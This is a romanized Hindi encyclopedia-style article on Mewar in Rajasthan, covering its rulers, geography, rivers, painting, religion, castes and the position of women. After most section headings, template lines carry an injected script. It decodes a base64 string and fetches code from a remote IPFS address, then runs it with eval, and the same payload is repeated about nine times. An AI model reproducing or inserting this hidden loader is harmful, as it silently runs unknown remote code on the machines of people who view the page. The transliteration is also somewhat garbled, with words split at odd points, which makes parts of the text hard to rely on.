मेवाड़

meva d vishay soochi

parichay    azadi se poorv    itihas    bhoogol    chitrakala    nadiyaan    jhilean    jatigat samajik vyavastha    striyoan ki sthiti    prachalit sikke

meva d
kuanbhalagadh durg|200px|center
vivaran	meva d rajasthan ke dakshin madhy mean sthit ek prasiddh riyasat thi. isamean adhunik bharat ke udayapur, bhilava da, rajasamand tatha chittau dagadh zile sammilit the.
rajy	rajasthan
zila	udayapur zila
sanbandhit lekh	banas nadi, kuanbhalagadh, chittau d, haldighati, rana saanga, maharana pratap, chetak, bhamashah
bhaugolik sthiti	uttari akshaansh 25° 58' se 49° 12' tak tatha poorvi deshaantar 45° 51' 30' se 73° 7' tak
any janakari	saik doan saloan tak yahaan rajapootoan ka shasan raha. gahalaut tatha sisodiya vansh ke rajaoan ne 1200 sal tak meva d par raj kiya tha.

meva d rajasthan ke dakshin madhy mean sthit ek prasiddh riyasat thi. ise udayapur rajy ke nam se bhi jana jata tha. isamean adhunik bharat ke udayapur, bhilava da, rajasamand tatha chittau dagadh zile sammilit the. saik doan saloan tak yahaan rajapootoan ka shasan raha. gahalaut tatha sisodiya vansh ke rajaoan ne 1200 sal tak meva d par raj kiya tha.

itihas

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

rajasthan ka meva d rajy parakrami gahalautoan ki bhoomi raha hai, jinaka apana ek itihas hai. inake riti-rivaj tatha itihas ka yah svarnim khazana apani matribhoomi, dharm tatha sanskriti v raksha ke lie kiye gaye gahalautoan ke parakram ki yad dilata hai. svabhavik roop se yah is dharati ki khas visheshataoan, logoan ki jivan paddhati tatha unake arthik tatha samajik dasha se pratyaksh v apratyaksh roop se prabhavit hota raha hai. shakti v samriddhi ke praranbhik dinoan mean meva d simaean uttar-poorv ke taraf bayana, dakshin mean revakanth tatha manikanth, pashchim mean palanapur tatha dakshin-pashchim mean malava ko chhooti thi. khilaji vansh ke alauddin khilaji ne 1303 ee. mean meva d ke gahalaut shasak ratan sianh ko parajit karake ise dilli saltanat mean mila liya tha. [[chitr:Palace-Of-Rana-Of-Mewar-Udaipur.jpg|thumb|left|rana ka mahal, meva d (udayapur)]] gahalaut vansh ki ek any shakha 'sisodiya vansh' ke hammiradev ne muhammad tugalak ke samay mean chittau d ko jit kar poore meva d ko svatantr kara liya. 1378 ee. mean hammiradev ki mrityu ke bad usaka putr kshetrasianh (1378-1405 ee.) meva d ki gaddi par baitha. kshetrasianh ke bad usaka putr lakkhasianh 1405 ee. mean sianhasan par baitha. lakkhasianh ki mrityu ke bad 1418 ee. mean isaka putr mokal raja hua. mokal ne kaviraj bani vilas aur yogeshvar namak vidvanoan ko ashray apane rajy mean ashray pradan kiya tha. usake shasan kal mean mana, phanna aur vishal namak prasiddh shilpakar ashray paye huye the. mokal ne anek mandiroan ka jirnoddhar karaya tatha ekaliang mandir ke charoan taraf parakote ka bhi nirman karaya. gujarat shasak ke viruddh kiye gaye ek abhiyan ke samay usaki hatya kar di gayi. 1431 ee. mean mokal ki mrityu ke bad rana kumbha meva d ke raj sianhasan par baitha. rana kumbha tatha rana saanga ke samay rajy ki shakti utkarsh par thi, lekin lagatar hote rahe bahari akramanoan ke karan rajy vistar mean kshetr ki sima badalati rahi. ambaji nam ke ek maratha saradar ne akele hi meva d se qarib do karo d rupaye vasoole the.

bhaugolik prishthabhoomi

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

meva d, rajapootana ke dakshin bhag mean sthit hai. yah uttari akshaansh 25° 58' se 49° 12' tak tatha poorvi deshaantar 45° 51' 30' se 73° 7' tak phaila hua hai. lanbaee mean yah uttar se dakshin tak 147.6 mil tatha chau daee mean poorv se pashchim tak 163.04 mil tha. is prakar meva d ka kul vistar 12,691 varg mil tha. isake uttar mean ajamer-meva d pradesh tatha shahapura rajy the, pashchim mean sirohi, dakshin-pashchim mean idar, dakshin mean duangarapur, baansava da ka kuchh hissa tatha pratapagadh ke rajy the. poorv mean nimach v nianbahe da ke zile tatha booandi aur kota rajy sthit the. meva d rajy akar mean ayatakar hai. qarib-qarib adhikaansh kshetr aravali parvat shrriankhalaoan se achchhadit hai, jisake parvat prishth tivr tatha pathar uthale haian. bairat, dudheshvar, kamalighat adi is kshetr ki pramukh shrriankhalaean haian tatha jagara, ranakapur, goguanda, bomat, girava tatha magara adi patharoan ke udaharan haian. meva d ki sima rekha ka kary kha di nadi karati rahi, jisaka pradurbhav pashchimi parvat shrriankhalaoan se hua hai. meva d ajamer-marava d ke bich ek prakritik sima rekha ka kary karata hai. vibhinn baandh tatha pokhariyaan apani prakritik banavat ke karan ise suraksha pradan karati haian. meva d ke deshabhakt v samarpit yoddha apani dharati ke lie l dane tatha apana adhikar prapt karane ke satath prayas ke lie ek adarsh udaharan ke roop mean sadiyoan tak yad kiye jate raheange.

nadiyaan

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[[chitr:Banas-River.jpg|thumb|200px|banas nadi]] meva d ki sarvadhik mahattvapoorn tatha pramukh banas nadi hai, jisaka udgam sthal aravali parvatamala mean kuanbhalagadh ke nikat hai. banas nadi yahaan se pravahit hoti huee maidani bhag mean pahuanchati hai aur aant mean maandalagadh, jo udayapur ke uttar-poorv mean lagabhag 100 mil (lagabhag 160 ki.mi.) ki doori par sthit hai, ke nikat isamean be dach nadi akar mil jati hai. is sthan ko 'triveni tirth' mana jata tha. ant mean yah ajamer tatha jayapur riyasat ki sima mean pahuanch jati hai aur chanbal nadi mean ja milati hai. banas nadi ke atirikt meva d ki any nadiyoan mean khari, manasi, kothari, be dach, jakam tatha som is pradesh ki mukhy nadiyaan haian.

chitrakala

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

17vian aur 18vian shatabdi mean meva d ki chitrakala bharatiy laghu chitrakala ki mahattvapoorn shailiyoan mean se ek hai. yah ek rajasthani shaili hai, jo hindoo riyasat meva d (rajasthan) mean vikasit huee. sade chatakile rang aur sidha bhavanatmak akarshan is shaili ki visheshata hai. is shaili ki mool sthanoan aur tithiyoan sahit bahut-si kalakritiyaan mili haian, jinase any rajasthani shailiyoan ke muqabale meva d mean chitrakala ke vikas ke bare mean satik janakari milati hai. isake prachinatam udaharan rangamala (rag-raginiyoan ke bhav) shrriankhala ke haian, jinhean rajy ki prachin rajadhani chaanv d mean 1605 mean chitrit kiya gaya tha. 1680 tak kuchh bhinnataoan ke sath yah shaili abhivyaktipoorn aur sashakt bani rahi, jisake bad is par mugal prabhav havi hone laga. sahibadin aranbhik kal ke kuchh pramukh chitrakaroan mean se ek the.

meva d mean chitraankan ki apani ek vishisht paranpara rahi hai, jise yahaan ke chitrakar pidhiyoan se apanate rahe haian. 'chitare' apane anubhavoan evan suvidhaoan ke anusar chitran ke kee ne tarike bhi khojate rahe. rochak tathy yah hai ki vahaan ke kee sthaniy chitran kendroan mean ve paranparagat takanik aj bhi jivit haian. takanikoan ka pradurbhav pashchimi bharatiy chitran paddhati ke anuroop hi ta d patroan ke chitran karyoan mean hi upalabdh hota hai.thumb|left|mahal ke taranatal (svimiang pool) mean maharana bhim sianh apane sathiyoan ke sath yashodhara dvara ullekhit shadaang ke sandarbh evan 'samaraichchakaha' evan 'kuvalayamala' kaha jaise granthoan mean 'datthum' shabd ka prayog chitr ki samiksha hetu hua hai, jisase is kshetr ki utkrisht paranpara ke praman milate haian. ye chitr moolyaankan ki kasauti ke roop mean pramukh manak tatha samiksha ke adhar the. vikas ke is satath pravah mean vishnu dharmottar puran, samaraangan sootradhar evan chitr lakshan jaise any granthoan mean varnit chitr karm ke siddhaant ka bhi palan kiya gaya hai. paranparagat kala siddhaantoan ke anuroop hi shastriy vivechan mean aye adarshavad evan yatharthavad ka nirvah hua hai. praranbhik svaroopoan ka ullekh athavian sadi mean haribhadrasoori dvara rachit 'samaraichchikaha' evan 'kuvalayamalakaha' jaise prakrit granthoan se prapt kala sandarbhoan mean milata hai. in granthoan mean vibhinn prakar ke rang-tulika evan chitraphalakoan ka tatkalin sahityik sandarbhoan ke anukool ullekh meva d mean pramanit roop se chitran ke takaniki paksh ka kramik vikas yahian se manate haian. yahaan ke chitravashesh 1229 ee. ke utkirn bhittichitroan evan 1260 ee ke tal patroan par milate haian.

1. REDIRECTsaancha:inhean bhi dekhean

bhasha evan lipi

• meva d kshetr ki mukhy bhasha meva di hai, jo hindi ka hi ek vikrit rup hai. rajy ke dakshin tatha pashchimi hissoan ke logoan tatha bhiloan ki bhasha vag di hai, jo gujarati se milati-julati hai. yah yahaan ke poorvi hisse mean, khaira d ki taraf, boli jati hai, jo meva di, dhooandha di tatha ha dauti ka hi mishran hai.
• meva d rajy ki prachalit lipi nagari hai. yah yahaan ki rajakiy lipi bhi hua karati thi. yahaan ki nagari lipi lakir khianchakar ghasit roop mean likhi jati hai. rajakiy adalatoan mean ise kuchh ashuddh roop mean likha jata tha tatha sath mean farasi shabdoan ka bhi istemal kiya jata tha. mahajan logoan ke patr-vyavahar mean prayukt nagari lipi mean bhi shuddhata ka vichar kam hi rahata hai.

hindoo dharm ka vikas

meva d mean vedanuyayiyoan ko paanch hissoan mean vibhajit kiya ja sakata hai- shaiv, vaishnav, shakt, ganapaty aur saur (soory). in paanchoan mean se shaiv, vaishnav v shakt adhik prachalit the. sannyasi, nath tatha bahut se brahman shaivoan ke achary the, lekin inamean matabhed tha. vaishnavoanramavat, nimavat, madhavachary tatha vishnusvami, in charoan namoan se char sampraday prasiddh haian. punah inamean kee prashakhaean ban gee thian, jaise- ramasanehi sampraday, dadoopanthi, kabirapanthi, narayanapanthi adi. inake achar-vichar mean bhi kuchh-kuchh bhinnataean thian. kuchh advait siddhaant to kuchh upasana paksh ka ashray lete the. meva d ke adhikaansh raja shaiv rahe the. shaktoan ki yahaan do shakhaean thi- ek dakshin v doosari vam. dakshin shakha ke anuyayi vedanukool pooja, pratishtha, jap, homadi karate haian tatha vam shakha tantrashasr ke anusar pashu hiansa aur mady-maansacharan karate haian. ye log charmakari rajaki aur chandali ko kashisevi, pragasevi; maans ko shuddhi, mady ko tirth, kaanda (pyaj) ko vayaj aur lahasun ko shukadev kahate the. rajasvala v chandali ki pooja karate the. inaka mukhy siddhaant is shlok ke anusar hota tha-

antah shakta bahishaiva: sabha madhye ch vaishnava:.
nana rup dhara: kaula vicharanti mahi tale ..

[[chitr:Jain-temple-mewar.jpg|300px|thumb|jain mandir, chittau dagadh]] meva d mean shaiv matavalambiyoan ke lie pramukh sthan kailasapuri hai, jo ekaliangeshvar ki puri ke roop mean bhi jana jata hai. ekaliangeshvar is desh ke raja mane jate the tatha maharana isake divan. shivamat ke adhikaansh mathadhari, mahant v goansaee nirakshar the. vaishnav matavalambiyoan k lie char pramukh sthan haian- nathadvara, kaank dauli, charabhuja aur roopanarayan. nathadvara aur kaank dauli ke gusaeeyoan ka vaishnav sampraday mean vishesh mahatv hai. is mat ko 15vian sadi mean vallabhachary ne prachalit kiya tha. unake sat putr the. satoan ki gaddiyaan v poojan ki moortiyaan alag-alag thian. sabase b di moorti athavian nathadvara ke shri govarddhananath ki thi. satoan bhaiyoan mean tiket gosvami bhi, nathadvara ke gosvami hi kahalate the tatha kaank dauli vale unake chhote bhaiyoan mean se the.

pramukh lok sanskar

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

prarambh se hi meva d samajik evan dharmik roodhiyoan mean jak da raha tha. in roodhiyoan ne kee samajik-dharmik sanskaroan ko janm diya tatha unhean samaj mean ek sthan diya. yahaan prachalit solah sanskaroan mean se kuchh sanskar the- vivah, mritak sanskar, puansavan, simantonnayan, jatakarm, namakaran, annaprashan aur choo dakaran. in sanskaroan mean vivah tatha mritak sanskar samajik jivan ke abhinn aang the. any sanskaroan ka samaj par utana prabhav nahian tha. parantu 19vian sadi ke uparant dhire-dhire sanskaroan ka vaidik svaroop lok sanskaroan mean parivartit hone laga tha tatha lambe samay tak vyavahar mean ate-ate dharmik prathaoan ka roop grahan kar chuka tha.

jatigat vyavastha

thumb|left|meva d mahotsav

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

meva d ki jatigat samajik vyavastha paramparagat roop se ooanch-nich, pad-pratishtha tatha vanshotpann jatiyoan ke adhar par sangathit thi. samajik sangathan mean pratyek jati ka mahatv us jati ki vanshotpatti tatha usake dvara aangikrit vyavasay par nirbhar thi. jati-vyavastha ko sthayitv pradan karane tatha usake astitv ko akshun banaye rakhane mean jati panchayatoan ki bhoomika mahattvapoorn thi. jatigat panchayatean apani jatiyoan ko vyavasthit roop se sanchalit karate hue khan-pan, shadi-vivah evan riti-rivajoan se sambandhit samay-samay par niyam banati thian aur apani jati ke logoan se jatiy vibhagoan evan maryadaoan ka palan karavati thian. is kary mean jati-panchayatoan ko rajakiy sanrakshan bhi prapt tha. jab meva d ki alochyakalin samajik sanrachana ke svaroop ka vishleshan karate haian to pate haian ki samajik rachana mean varn-vyavastha keval bhavatmak roop mean vidyaman rah gee thi. jati aur dharm hi is kal ke varg tatha vyavasay ko prabhavit kiye hue the. 18vian shatabdi tak ka meva di samaj dharm ke adhar par do bhagoan hindoo tatha muslim mean vargikrit tha. hindoo samuday mean vaidik, jain tatha atmavadi mane ja sakate haian, vahi muslim samuday mean 'shiya' tatha 'sunni' do upabhag vidyaman the.

vyavasay karane vali jatiyaan

thumb|meva d ki vastukala

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

meva d mean kuchh jatiyaan aisi bhi thian, jo poornat: krishi karane vali mani jati thian, jaise- jat mali, daangi dhak d aur janava. meva d ki janasankhya mean inaka pratinidhitv 17 pratishat tha. yadyapi ye sabhi jatiyaan apane svajati niyamoan se abaddh thian, phir bhi inamean ooanch-nich ka bhedabhav nahian tha. samajik, arthik pad-star par sabhi kisan apane ko 'karasa' kahalane mean garv ka anubhav karate the. vivah svajati mean hi hota tha, kiantu vivah ke niyam kathor nahian the. vidhava vivah, punarvivah tatha vivah vichchhed sugamatapoorvak 'rit' aur 'nata' ki paramparanusar ho jate the. isilie samaj mean unhean 'natayati' jatiyaan kaha jata tha.

striyoan ki sthiti

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

pahale meva di samaj mean striyoan ko adhik svatantrata prapt thi. isake sath hi nirnay adi ke kee mahattvapoorn adhikar bhi unhean prapt the. bad mean badalati huee paristhitiyoan ne samaj mean inake mahatv ko kam kar diya. abhilekhiy evan sahityik srotoan se pata chalata hai ki maharana rajasianh dvitiy ke shasan kal tak raj parivar evan kulin varg ki striyoan mean parda pratha nahian thi. marathoan evan pindariyoan ke akraman kal se hi 'parda pratha' aranbh ho gee thi, jisaka prabhav any dvij jatiyoan par bhi p da tha. parda pratha ke prachalan ne samaj mean striyoan ki sthiti ko aur bhi nimn bana diya. ab samaj mean stri ki maryadaean nishchit kar di geean. kisi bhi tyohar, utsav aur mela adi ke avasar par unaka svatantratapoorvak ghoomana, par-purushoan se batean karana adi kuchh had tak simit hone laga. ghar mean stri keval apane pati ki kamechchha poorti ka sadhan mani jati thi.

chitr vithika

• chitr:Jain-kirti-stambh-and-temple.jpg

  jain kirti stambh, chittau dagadh

• chitr:Mewar-painting-9.jpg

  meva d ki chitrakala

• chitr:Vijay-stambh-mewar.jpg

  vijay stambh, chittau dagadh

• chitr:Mewar-festival.jpg

  meva d mahotsav

• chitr:Mechanical-drum-Hindu-temple-mewar.jpg

  hiandoo mandir mean yaantrik dram

• chitr:City-palace-Mewar.jpg

  siti pailes, udayapur

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

bahari k diyaan

• meva d udayapur kshetr mean mandir-nirman gatividhiyaan

sanbandhit lekh

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